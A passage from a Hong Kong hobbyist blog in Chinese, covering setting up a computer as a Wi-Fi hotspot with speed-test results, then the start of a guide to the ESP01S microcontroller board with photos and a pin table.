<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8YgZ92peEMnXme8Smf4kBJar8ryMaRwTSnPb2ou8jCxIl8fka_iyv1LqfTzzmFAaWjtWQx3RrF6ROJjFUc7zdJpcpc3SLDWTmHUAyYEqVdakuGpU8OwR-sNnF0LrFgv0t6f6T_8gaRW3x7VmrU09DbJWsvfeZvJbTk83hd-7R0Mxs53J0ZLNp-N1z/w0/wifi-access-point-01.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8YgZ92peEMnXme8Smf4kBJar8ryMaRwTSnPb2ou8jCxIl8fka_iyv1LqfTzzmFAaWjtWQx3RrF6ROJjFUc7zdJpcpc3SLDWTmHUAyYEqVdakuGpU8OwR-sNnF0LrFgv0t6f6T_8gaRW3x7VmrU09DbJWsvfeZvJbTk83hd-7R0Mxs53J0ZLNp-N1z/w0/wifi-access-point-01.png"/></a></div>
<div>開啟 <span class="mra-highlighter">網絡連線(系統捷徑的網絡圖示)</span> ,按 <span class="mra-highlighter">新增</span> 按鈕</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih1YCxtW6CMTVUIoNaKg0_OJRvKHyvGS6rSKiq9Id6fXbSXS_ptECf-EuEjmUaUkGNe71BuTil3NwEi8dfs3Nir6V2fbL0pzTV0jQrniudsfVuus6qwoNeeniy9KtAE8pDpaShNQt5EWuAEPw1uur4blgwkUdr0jK7KgxBnoKaPKrJL_rDXf8jgLVb/w0/wifi-access-point-02.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih1YCxtW6CMTVUIoNaKg0_OJRvKHyvGS6rSKiq9Id6fXbSXS_ptECf-EuEjmUaUkGNe71BuTil3NwEi8dfs3Nir6V2fbL0pzTV0jQrniudsfVuus6qwoNeeniy9KtAE8pDpaShNQt5EWuAEPw1uur4blgwkUdr0jK7KgxBnoKaPKrJL_rDXf8jgLVb/w0/wifi-access-point-02.png"/></a></div>
<div>在 <span class="mra-highlighter">選擇連線類型</span> 時,選擇 <span class="mra-highlighter">Wi-Fi</span> ,再按 <span class="mra-highlighter">建立</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR7eH5yn4wrlmdbYPOAzuJe6koXo858tR-siccUinI5cMjswHqvI8xqWGSzVzQRiy8v4-ePgr828nx0GQwIP3yB_qE47XAIYq6r-xb4ods9N3ZW-PnxiVa7WaB9wrEsDe3ldVME5UFurNf-6h5Ksr44k1OLLphGlNR-58I8mn2IpBVArRDoCvOuLXg/w0/wifi-access-point-03.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR7eH5yn4wrlmdbYPOAzuJe6koXo858tR-siccUinI5cMjswHqvI8xqWGSzVzQRiy8v4-ePgr828nx0GQwIP3yB_qE47XAIYq6r-xb4ods9N3ZW-PnxiVa7WaB9wrEsDe3ldVME5UFurNf-6h5Ksr44k1OLLphGlNR-58I8mn2IpBVArRDoCvOuLXg/w0/wifi-access-point-03.png"/></a></div>
<div>在 <span class="mra-highlighter">編輯連線</span>,設定 <span class="mra-highlighter">連線名稱</span><br/>
在 <span class="mra-highlighter">Wi-Fi分頁</span>,設定 <span class="mra-highlighter">SSID</span><br/>
(連線名稱 及 SSID 可以不相同)<br/>
<span class="mra-highlighter">模式</span> 選擇 <span class="mra-highlighter">熱點</span><br/>
其他項目使用預設值即可</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLEIPIILPq-8kmy1bCwPjhkkLJlnjTbLhm7QthRb_tnbrmTLngpy4xeBrGVFLlQzoeZSIXjtw1p1k72-oRF3na8bYYoJL5OzaZOvEHo5hrvqgNk2eAJzKOV_YKTdKVSsUWNQ_2-LmDsw7pC-hwNTlFXcllHkKuuSBaCwuzBuSiYAECLIkxtVjnrPBH/w0/wifi-access-point-04.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLEIPIILPq-8kmy1bCwPjhkkLJlnjTbLhm7QthRb_tnbrmTLngpy4xeBrGVFLlQzoeZSIXjtw1p1k72-oRF3na8bYYoJL5OzaZOvEHo5hrvqgNk2eAJzKOV_YKTdKVSsUWNQ_2-LmDsw7pC-hwNTlFXcllHkKuuSBaCwuzBuSiYAECLIkxtVjnrPBH/w0/wifi-access-point-04.png"/></a></div>
<div>在 <span class="mra-highlighter">IPv4分頁</span> ,<span class="mra-highlighter">方法</span> 設定為 <span class="mra-highlighter">分享給其他電腦</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNpC1Kx2gLKXFuu_fO-p6qcqmCWbDiya4b9g7Vd2QCnwTeGQWgj3LXWxPFAoJELyEOYkshjdKlinbuCI-0Ml99KfYt_ZnL_STzmUHeMhDAbTrYS75_1PZ3mRO72XGYt_2iJsri7ImMajpzRE0UZuBnXz2WKHKL_DSEuofAhIIzpXj41iXsPh19hmfI/w0/wifi-access-point-05.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNpC1Kx2gLKXFuu_fO-p6qcqmCWbDiya4b9g7Vd2QCnwTeGQWgj3LXWxPFAoJELyEOYkshjdKlinbuCI-0Ml99KfYt_ZnL_STzmUHeMhDAbTrYS75_1PZ3mRO72XGYt_2iJsri7ImMajpzRE0UZuBnXz2WKHKL_DSEuofAhIIzpXj41iXsPh19hmfI/w0/wifi-access-point-05.png"/></a></div>
<div>如果需要加強安全性,到 <span class="mra-highlighter">Wi-Fi安全性分頁</span><br/>
在 <span class="mra-highlighter">安全性</span> 選擇需要的加密程式 (建議使用 <span class="mra-highlighter">WPA & WPA2 個人版</span>) 及 <span class="mra-highlighter">設定密碼</span><br/>
完成後按 <span class="mra-highlighter">儲存</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8SakY4C1yN4UkSapiyDrcJOyDok6xZImaTyb4f5yhOu_kDkStrGoMxU72MLTpmlFJ5-rjBgHynB69yQg2wPUdUR0B0CEov_URCEy8tIbtDgOgwq1ayiq23lhwCsAA1SsbDoVRGuanajfP-gP4WLibFEDdd9_TUlZNsD7wI9INUDOokQ8pu7zUnOYV/w0/wifi-access-point-06.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8SakY4C1yN4UkSapiyDrcJOyDok6xZImaTyb4f5yhOu_kDkStrGoMxU72MLTpmlFJ5-rjBgHynB69yQg2wPUdUR0B0CEov_URCEy8tIbtDgOgwq1ayiq23lhwCsAA1SsbDoVRGuanajfP-gP4WLibFEDdd9_TUlZNsD7wI9INUDOokQ8pu7zUnOYV/w0/wifi-access-point-06.png"/></a></div>
<div>等待幾秒後會顯示 <span class="mra-highlighter">已建立連接</span> 的提示訊息</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh64-Q1AN1UxQN2UbmYpZQrlA6-gehYyBkMapgEYM2zQMSNXU1KOGfnrFb6waC-LE2K7z5eDRYMagjcq1o2LJL1esZ5DLk5UyQ4HI3a4ctO3dIPRq337qPJqlye7uRagzw7Zt2iImzAwsthbRvoPF-5dFm7WEjapaaLTjwsk4C-uoPgI1Wwy-T5u9b0/w0/wifi-access-point-07.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh64-Q1AN1UxQN2UbmYpZQrlA6-gehYyBkMapgEYM2zQMSNXU1KOGfnrFb6waC-LE2K7z5eDRYMagjcq1o2LJL1esZ5DLk5UyQ4HI3a4ctO3dIPRq337qPJqlye7uRagzw7Zt2iImzAwsthbRvoPF-5dFm7WEjapaaLTjwsk4C-uoPgI1Wwy-T5u9b0/w0/wifi-access-point-07.png"/></a></div>
<div>網絡連線 會顯示已建立的 存取點,並顯示 <span class="mra-highlighter">最後使用的時間</span> 為 <span class="mra-highlighter">現在</span></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhn_I9CcuM4CTlniKkJWDwjwda6EDuD8hYOxBJopGaQFou7tLbekwxQk10FPmKqc8RG4X_RSZNYvckdTiKTxcn5o3CQ91nzX9W9bHLOPMi9xfiDo3cIInE5QJMy9SPhs5oiSdKU7MBbXwfkX8G_cVszissUrKQ6VmGiw73LKAsaHYBKDC5PdqXulPKi/w0/wifi-access-point-08.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhn_I9CcuM4CTlniKkJWDwjwda6EDuD8hYOxBJopGaQFou7tLbekwxQk10FPmKqc8RG4X_RSZNYvckdTiKTxcn5o3CQ91nzX9W9bHLOPMi9xfiDo3cIInE5QJMy9SPhs5oiSdKU7MBbXwfkX8G_cVszissUrKQ6VmGiw73LKAsaHYBKDC5PdqXulPKi/w0/wifi-access-point-08.png"/></a></div>
<div>在 系統捷徑的網絡圖示 會顯示正在使用 存取點</div>
<br/>
<a name="測試存取點"></a><h4 class="mra-h4">測試存取點</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitRvgCYfFkWyoawcPiaXkJtJybYW0WMo5-pI2cSv0OsXbZhfMOrWztbQYA5tl9FnN1ZUGJEPH4CY0gXSZu9i3r-tFNzPZWUbi1_Udsn30M5VGIK0zpjSJq0gX8TSDz1719yr82u-5OP7XEqSnfFGbiNvuch3kVMxcWmg_Lty8UosPOHrxMBcQoWpcq/w0/wifi-access-point-09.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitRvgCYfFkWyoawcPiaXkJtJybYW0WMo5-pI2cSv0OsXbZhfMOrWztbQYA5tl9FnN1ZUGJEPH4CY0gXSZu9i3r-tFNzPZWUbi1_Udsn30M5VGIK0zpjSJq0gX8TSDz1719yr82u-5OP7XEqSnfFGbiNvuch3kVMxcWmg_Lty8UosPOHrxMBcQoWpcq/w0/wifi-access-point-09.png"/></a></div>
<div>在下使用自己的 Android 裝置測試連接<br/>
在 WiFi 中搜尋到 存取點</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRSc0gY_DoiH-z-58E9ZLuvwSlakn7LtNGdOVjrJWrJivhebrInz-UQ9WqBzQdaoxl0fRXTKGRLwrFO6IosFwH2-tFCCOwRTqqH7Utz9IbIzNgGEs6FU257xiSEAW3RdblO3Xp4Tv6kCnFl-Iy2BIPypbhzJyKV_Bl5_rXmRq05JQig5XSpQAhxRU9/w0/wifi-access-point-10.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRSc0gY_DoiH-z-58E9ZLuvwSlakn7LtNGdOVjrJWrJivhebrInz-UQ9WqBzQdaoxl0fRXTKGRLwrFO6IosFwH2-tFCCOwRTqqH7Utz9IbIzNgGEs6FU257xiSEAW3RdblO3Xp4Tv6kCnFl-Iy2BIPypbhzJyKV_Bl5_rXmRq05JQig5XSpQAhxRU9/w0/wifi-access-point-10.png"/></a></div>
<div>如果存取點有設定密碼,需要輸入正確密碼才能連接</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSQ_VJ3OZ0QEUxaHYNpQez3Ar9rjBweGrziNkBDxjNQGd2_dCqXD8TPA87fHHl1PEwcY3yu0qWEMyghFw3ID3e2vflWaQmjTFFZ_6t7Dz40fwwkYuneJM4B1jxXmUgajTTCJ6Dexgr2K1xL8WHcSqBQHQ1Xy2VICkxXr6tbLmkXbfeBPcZxHnXt1jL/w0/wifi-access-point-11.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSQ_VJ3OZ0QEUxaHYNpQez3Ar9rjBweGrziNkBDxjNQGd2_dCqXD8TPA87fHHl1PEwcY3yu0qWEMyghFw3ID3e2vflWaQmjTFFZ_6t7Dz40fwwkYuneJM4B1jxXmUgajTTCJ6Dexgr2K1xL8WHcSqBQHQ1Xy2VICkxXr6tbLmkXbfeBPcZxHnXt1jL/w0/wifi-access-point-11.png"/></a></div>
<div>連接到 存取點</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizMYnYFlNFudytK_8IB0Xwgo4e5p43QBB8NXcBmir8S96P10x0o7UyJ1p3sTgqVvmOhyLbndSjFtP4mDq7JG9aRkiBEcSWwS4gRsNNq0QYa_6U2VdkwvGsIIYS-KtzRBCCoZCe0rSwxjUWLq6QdOjuoEBNr62lWEJrPeFQ3S8efMm6mojTMjKVvBlM/w0/wifi-access-point-12.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizMYnYFlNFudytK_8IB0Xwgo4e5p43QBB8NXcBmir8S96P10x0o7UyJ1p3sTgqVvmOhyLbndSjFtP4mDq7JG9aRkiBEcSWwS4gRsNNq0QYa_6U2VdkwvGsIIYS-KtzRBCCoZCe0rSwxjUWLq6QdOjuoEBNr62lWEJrPeFQ3S8efMm6mojTMjKVvBlM/w0/wifi-access-point-12.png"/></a></div>
<div>在 詳細資料 中會顯示 連線狀態、IP、閘道等資料<br/>
當中 <span class="mra-highlighter">閘道</span> 是 存取點 的 IP,即是由宿主電腦建立的內聯網 IP</div>
<br/>
<a name="測試速度"></a><h4 class="mra-h4">測試速度</h4>
<table class="mra-table mra-collapse" width="80%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="0"/>
<col width="25%"/>
<col width="25%"/>
<col width="25%"/>
<col width="25%"/>
</colgroup>
<thead>
<tr>
<th>圖片資料</th>
<th>裝置類型</th>
<th>連接類型</th>
<th>上載速度(Mbps)</th>
<th>下載速度(Mbps)</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1J4icGQCHnZdZ6sKqYiMxfNLC3ueKMU8qfWjzFJy24aL1RsgpMlPWeCgbB530dG95e9ufwJfyrbGlp6m-_SR9vuiGYzXY2iKKFsuG3JGmGylF88UPhW02WSHOP_zPeJW2BOhZAeBzoK8sXRcq82fqRTveybf4sAsVx0kac2vg6TDI68CnfWVlJppO/w0/wifi-access-point-13-laptop-wired.png"><img alt="見下文" title="見下文" width="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1J4icGQCHnZdZ6sKqYiMxfNLC3ueKMU8qfWjzFJy24aL1RsgpMlPWeCgbB530dG95e9ufwJfyrbGlp6m-_SR9vuiGYzXY2iKKFsuG3JGmGylF88UPhW02WSHOP_zPeJW2BOhZAeBzoK8sXRcq82fqRTveybf4sAsVx0kac2vg6TDI68CnfWVlJppO/w100/wifi-access-point-13-laptop-wired.png"/></a></td>
<td>電腦</td>
<td>有線連接</td>
<td>911.02</td>
<td>803.78</td>
</tr>
<tr>
<td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1guFNzobBxcftuck7KgSEy_PpF7ni_SOq3Qkr-iBQHsptL00FbIcWSpM1woryZaNqCDEtyYO5GtbGCOmSYaqM8536jrEG-F-LcmLKWzJh-1JmCABTqPTIJcHnMr2Zs7wegxMH4Wf1rrmOUmKpIoFNVdyiqpneJp_BPVUmL6TCQzaxV9zTTl5325GO/w0/wifi-access-point-14-laptop-wireless.png"><img alt="見下文" title="見下文" width="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1guFNzobBxcftuck7KgSEy_PpF7ni_SOq3Qkr-iBQHsptL00FbIcWSpM1woryZaNqCDEtyYO5GtbGCOmSYaqM8536jrEG-F-LcmLKWzJh-1JmCABTqPTIJcHnMr2Zs7wegxMH4Wf1rrmOUmKpIoFNVdyiqpneJp_BPVUmL6TCQzaxV9zTTl5325GO/w100/wifi-access-point-14-laptop-wireless.png"/></a></td>
<td>電腦</td>
<td>無線連接</td>
<td>295.41</td>
<td>201.40</td>
</tr>
<tr>
<td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhywus-bgiscgP4ZQid4qs14bLjwIX_1mWyTqm6R5wMAB8PT-TPWNHtEdXeiBVLoNuXS6x9LFKFrWuL_zejO1v17mPTSeIuyDBLUfmzF9Qc7vSI5l18-pXP5SVbSd8D6kn-vjoNb71OMS6vJc2VH77BZGtdYaC2HPqT0kBblPBUzNGLaI4SHUekn6k/w0/wifi-access-point-15-mobile-wireless.png"><img alt="見下文" title="見下文" width="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhywus-bgiscgP4ZQid4qs14bLjwIX_1mWyTqm6R5wMAB8PT-TPWNHtEdXeiBVLoNuXS6x9LFKFrWuL_zejO1v17mPTSeIuyDBLUfmzF9Qc7vSI5l18-pXP5SVbSd8D6kn-vjoNb71OMS6vJc2VH77BZGtdYaC2HPqT0kBblPBUzNGLaI4SHUekn6k/w100/wifi-access-point-15-mobile-wireless.png"/></a></td>
<td>手提裝置</td>
<td>無線連接</td>
<td>341.19</td>
<td>382.91</td>
</tr>
<tr>
<td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3exp0CU0sIzv1guWxOPzVV-iP_BGTtM2Fug0jwkb7BGJcVmjfr69d1F2BWvmT1t98GVsBCFfBEysOZtyzHPfO9MboA6qB11JZT30IPiquFUQXsZqDXHbH9YoR0I5jrEXLodpOr8ITfTNENKiScS4VfSjJ1RQgC6DJ4D848x4BGRKiscTh3hRRnYL9/w0/wifi-access-point-16-mobile-wired-ap.png"><img alt="見下文" title="見下文" width="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3exp0CU0sIzv1guWxOPzVV-iP_BGTtM2Fug0jwkb7BGJcVmjfr69d1F2BWvmT1t98GVsBCFfBEysOZtyzHPfO9MboA6qB11JZT30IPiquFUQXsZqDXHbH9YoR0I5jrEXLodpOr8ITfTNENKiScS4VfSjJ1RQgC6DJ4D848x4BGRKiscTh3hRRnYL9/w100/wifi-access-point-16-mobile-wired-ap.png"/></a></td>
<td>手提裝置</td>
<td>存取點有線連接</td>
<td>29.10</td>
<td>69.85</td>
</tr>
<tr>
<td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPHG3cxfGwU5yepl5RR1y2nKB_s3dq8c4bC91sioa-C-VeaGNCUhIGdbZlhncVa0C8zmRTd9pgXiZ7tYBI0-AR4kfMu1TAFvDb3brSIzYMLwbe7b080hlajd0X5IJdsXIZ1K6q5mhMVZ9-BIBWHfPrZn417AV6On_ULM2BmkHPnjLLwhCZNg1B_9HZ/w0/wifi-access-point-17-mobile-wireless-ap.png"><img alt="見下文" title="見下文" width="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPHG3cxfGwU5yepl5RR1y2nKB_s3dq8c4bC91sioa-C-VeaGNCUhIGdbZlhncVa0C8zmRTd9pgXiZ7tYBI0-AR4kfMu1TAFvDb3brSIzYMLwbe7b080hlajd0X5IJdsXIZ1K6q5mhMVZ9-BIBWHfPrZn417AV6On_ULM2BmkHPnjLLwhCZNg1B_9HZ/w100/wifi-access-point-17-mobile-wireless-ap.png"/></a></td>
<td>手提裝置</td>
<td>存取點無線連接</td>
<td>23.81</td>
<td>64.41</td>
</tr>
</tbody>
</table>
<br/>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<div>連接的裝置受存取點的性能限制,但只是簡單的資料傳輸,勉強仍然足夠<br/>
如果 WiFi USB裝置 能夠支援更高速度,存取點便可以提供更快的網絡速度</div>
<br/>
<div>這個方法在隨時能夠無線連接到互聯網的環境中沒有太大作用<br/>
但發生突發情況,需要即時建立存取點讓其他無線裝置連接,都能夠勉強支撐一段時間<br/>
而且這個方法還可以迴避部分網絡功能限制<br/>
但有否違反閣下公司的政策及權限則自行承擔風險</div>
<br/>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://www.speedtest.net/">Speedtest 網絡速度測試</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-33455076352486571252023-02-01T21:02:00.003+08:002024-03-05T10:05:24.413+08:00將 Sketch 上載到 ESP01S<div>ESP8266 及 Rapsberry Pi Pico W 都具備 WiFi功能,可以簡單地建立無線伺服器,自製IOT服務<br/>
但如果微控制器不需要同時控制大量工具,使用 ESP8266 或 Raspberry Pi Pico W 體積及成本則比較大<br/>
如果想製作成本又低體積又細小的 IOT服務,可以改用同樣是 ESP8266系列的 ESP01S</div>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#外觀">外觀</a>
<li><a href="#引腳">引腳</a>
<li><a href="#轉接器">轉接器</a>
<li><a href="#使用FT232RL">使用FT232RL</a>
<ul>
<li><a href="#使用FT232RL線路原型">線路原型</a>
<li><a href="#使用FT232RL實際線路">實際線路</a>
<li><a href="#使用FT232RL測試">測試</a>
</ul>
</li>
<li><a href="#自製轉接器">自製轉接器</a>
<li><a href="#使用Arduino">使用Arduino</a>
<ul>
<li><a href="#使用Arduino線路原型">線路原型</a>
<li><a href="#使用Arduino實際線路">實際線路</a>
<li><a href="#使用Arduino測試">測試</a>
</ul>
</li>
<li><a href="#補充資料">補充資料</a>
<li><a href="#零件清單">零件清單</a>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<div>ESP01S 使用 ESP8266EX ,同樣屬於 ESP8266系列<br/>
不過 ESP8266EX晶片體積 比 標準的 ESP8266晶片體積更細小<br/>
能更節省空間及減少耗電量,適合細小專案</div>
<br/>
<a name="外觀"></a><h4 class="mra-h4">外觀</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeicsAdPhrrh7GwrQ8EvON-iBLTbgxLfDaSLOk_D4gvP2tQZMRlfkmIIsRT5Bt5_Bbm1aC0cTEJQIftK8JrUkQ9bVpyOCx4rHDmFi4Jg8ZCaEMrNO9CIpwLTujOkpeAhhljmUw6tifaDV3hzbKYzDxpKRxa1ceN1JFh2_4oGBl3CYMYVgZQHNm8ufm/w0/esp8266-esp01s-001.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeicsAdPhrrh7GwrQ8EvON-iBLTbgxLfDaSLOk_D4gvP2tQZMRlfkmIIsRT5Bt5_Bbm1aC0cTEJQIftK8JrUkQ9bVpyOCx4rHDmFi4Jg8ZCaEMrNO9CIpwLTujOkpeAhhljmUw6tifaDV3hzbKYzDxpKRxa1ceN1JFh2_4oGBl3CYMYVgZQHNm8ufm/w600/esp8266-esp01s-001.jpg"/></a></div>
<div>ESP01S 正面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqU6FeHGNk1JLHRjhnmSkPjX99xvxxN0WXnFQfkDU1QkaqdppdRzYk-WV4PADXM9UfLh1d76HRr91b4Ed05L2JJUv64F-mfvKNh2NR8Oo46pkjzRmAtpTGAuSbUNmt8KnW9yb5_Ne3SljPnXHYoUIE_ua0RNubmAALO6MAAEajTgw9_26q617s833u/w0/esp8266-esp01s-002.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqU6FeHGNk1JLHRjhnmSkPjX99xvxxN0WXnFQfkDU1QkaqdppdRzYk-WV4PADXM9UfLh1d76HRr91b4Ed05L2JJUv64F-mfvKNh2NR8Oo46pkjzRmAtpTGAuSbUNmt8KnW9yb5_Ne3SljPnXHYoUIE_ua0RNubmAALO6MAAEajTgw9_26q617s833u/w600/esp8266-esp01s-002.jpg"/></a></div>
<div>使用 ESP8266EX晶片</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiH7IGEjK49_12GmidqxctGStXZsM1O3UNEMwZz9DNGKO1rAEcqwm9lE_Cs33-tKCaF-iQPEHfye54Nnw1LQcIRzVmTyODzfAIY6QZ3t-NcdCZzLD__vfyfTf8GDlIUhMounTPrAUzx0HgbmURzjzpUJH85oRCJUlS_PLUTPUvVSsUEzftVIvxT28X/w0/esp8266-esp01s-003.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiH7IGEjK49_12GmidqxctGStXZsM1O3UNEMwZz9DNGKO1rAEcqwm9lE_Cs33-tKCaF-iQPEHfye54Nnw1LQcIRzVmTyODzfAIY6QZ3t-NcdCZzLD__vfyfTf8GDlIUhMounTPrAUzx0HgbmURzjzpUJH85oRCJUlS_PLUTPUvVSsUEzftVIvxT28X/w600/esp8266-esp01s-003.jpg"/></a></div>
<div>TM25008A晶片,無法找到資料表<br/>
不過根據 ESP01S 的設計,該位置的晶片是 512KB 或 1024KB 的 快閃記憶體</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsc4uIs3LqopZRbWgemaUUkMyZoyu6mL9EnshqON8UIFBqPi1YkjvcfSrcRlbaD0iykQ9BHa7PVDezcppaEE14TcxFeXfvOSWfWUJAeUyWi9ngn_nE4qOT0ZnmX-uv9H91CCSuRDgQfzNwDG1Zs6z70Lsd5S6jcw3MSmT_nGCamv_qUJe5CzH6vgK0/w0/esp8266-esp01s-004.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsc4uIs3LqopZRbWgemaUUkMyZoyu6mL9EnshqON8UIFBqPi1YkjvcfSrcRlbaD0iykQ9BHa7PVDezcppaEE14TcxFeXfvOSWfWUJAeUyWi9ngn_nE4qOT0ZnmX-uv9H91CCSuRDgQfzNwDG1Zs6z70Lsd5S6jcw3MSmT_nGCamv_qUJe5CzH6vgK0/w600/esp8266-esp01s-004.jpg"/></a></div>
<div>26MHz 晶體振盪器</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEnAk-rCLTPbR2IxID8b0YbBDsk2nRepXx9ujQASy_kpE5_6w_SlugX_KsHMMXU6urvJ7dBc_xgW68UNBOZGfY9BMLvJJlik6db_hqneFmO0kzvzfH65MgqpzMNvINbeIZ1qUUv6tkDl20baTUdYdhDgX3xw2py8Gdwi0MqnUeZCLTtUVzhx9Dd7tS/w0/esp8266-esp01s-005.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEnAk-rCLTPbR2IxID8b0YbBDsk2nRepXx9ujQASy_kpE5_6w_SlugX_KsHMMXU6urvJ7dBc_xgW68UNBOZGfY9BMLvJJlik6db_hqneFmO0kzvzfH65MgqpzMNvINbeIZ1qUUv6tkDl20baTUdYdhDgX3xw2py8Gdwi0MqnUeZCLTtUVzhx9Dd7tS/w600/esp8266-esp01s-005.jpg"/></a></div>
<div>ESP01S 背面<br/>
標示引腳的用途</div>
<br/>
<a name="引腳"></a><h4 class="mra-h4">引腳</h4>
<table class="mra-table mra-collapse" width="90%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="10%"/>
<col width="10"/>
<col width="20%"/>
<col width="60%"/>
</colgroup>
<thead>
<tr>
<th>編號</th>
<th>引腳</th>
<th>方向</th>
<th>功能</th>
</tr>
</thead>
<tbody>
<tr class="mra-pin-gnd">
<td>1</td>
<td>GND</td>
<td></td>
<td>接地</td>
</tr>
<tr class="mra-pin-dig">
<td>2</td>
<td>IO2</td>
<td>輸入輸出</td>
<td>第2數碼引腳,電路板LED,低電壓亮著</td>
</tr>
<tr class="mra-pin-dig">
<td>3</td>
<td>IO0</td>
<td>輸入輸出</td>
<td>第0數碼引腳,懸空或接駁到高電壓為執行模式;接地為編程模式</td>
</tr>
<tr class="mra-pin-rx">
<td>4</td>
<td>IO3 / RX</td>
<td>輸入輸出 / RX輸入</td>
<td>第3數碼引腳,編程模式時為 UART 的 RX引腳</td>
</tr>
<tr class="mra-pin-tx">
<td>5</td>
<td>IO1 / TX</td>
<td>輸入輸出 / TX輸出</td>
<td>第1數碼引腳,編程模式時為 UART 的 TX引腳</td>
</tr>
<tr class="mra-pin-ss">
<td>6</td>
<td>EN</td>
<td>輸入</td>
<td>啟動晶片,高電壓有效</td>
</tr>
<tr class="mra-pin-rst">
<td>7</td>
<td>RST</td>
<td>輸入</td>
<td>重新啟動裝置</td>
</tr>
<tr class="mra-pin-vcc">
<td>8</td>
<td>VCC</td>
<td></td>
<td>支援 3.0V 至 3.6V 供電</td>
</tr>
</tbody>
</table>
<br/>
<a name="轉接器"></a><h4 class="mra-h4">轉接器</h4>
